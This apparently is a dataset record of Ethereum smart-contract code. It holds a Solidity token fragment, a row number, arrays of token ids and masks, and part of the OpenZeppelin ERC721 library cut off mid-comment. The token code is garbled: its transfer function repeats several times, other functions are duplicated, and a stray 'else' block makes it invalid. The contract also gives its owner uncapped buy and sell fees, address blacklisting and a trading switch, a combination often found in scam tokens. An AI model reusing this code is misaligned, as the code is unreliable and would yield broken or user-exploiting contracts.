_maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } } else { function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.mul(50).div(100)); _marketingAddress.transfer(amount.mul(50).div(100)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
4,035,016
[ 1, 38, 9835, 30174, 55, 1165, 30174, 8176, 30174, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 7875, 654, 39, 353, 1772, 16, 467, 654, 39, 3462, 16, 14223, 6914, 288, 203, 7010, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 7010, 565, 533, 3238, 5381, 389, 529, 273, 315, 5207, 14432, 203, 565, 533, 3238, 5381, 389, 7175, 273, 4662, 20455, 14432, 203, 565, 2254, 28, 3238, 5381, 389, 31734, 273, 2468, 31, 203, 7010, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 3238, 389, 86, 5460, 329, 31, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 3238, 389, 88, 5460, 329, 31, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 565, 2874, 12, 2867, 516, 1426, 13, 3238, 389, 291, 16461, 1265, 14667, 31, 203, 565, 2254, 5034, 3238, 5381, 4552, 273, 4871, 11890, 5034, 12, 20, 1769, 203, 565, 2254, 5034, 3238, 5381, 389, 88, 5269, 273, 15088, 9449, 380, 1728, 636, 29, 31, 203, 565, 2254, 5034, 3238, 389, 86, 5269, 273, 261, 6694, 300, 261, 6694, 738, 389, 88, 5269, 10019, 203, 565, 2254, 5034, 3238, 389, 88, 14667, 5269, 31, 203, 565, 2254, 5034, 1071, 8037, 1768, 31, 203, 7010, 565, 2254, 5034, 3238, 389, 12311, 14667, 1398, 38, 9835, 273, 374, 31, 203, 565, 2254, 5034, 3238, 389, 8066, 14667, 1398, 38, 9835, 273, 1059, 31, 203, 7010, 565, 2254, 5034, 3238, 389, 12311, 14667, 1398, 55, 1165, 273, 374, 31, 203, 565, 2254, 5034, 3238, 389, 8066, 14667, 1398, 55, 1165, 273, 8566, 31, 203, 7010, 565, 2254, 5034, 2 ]
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See 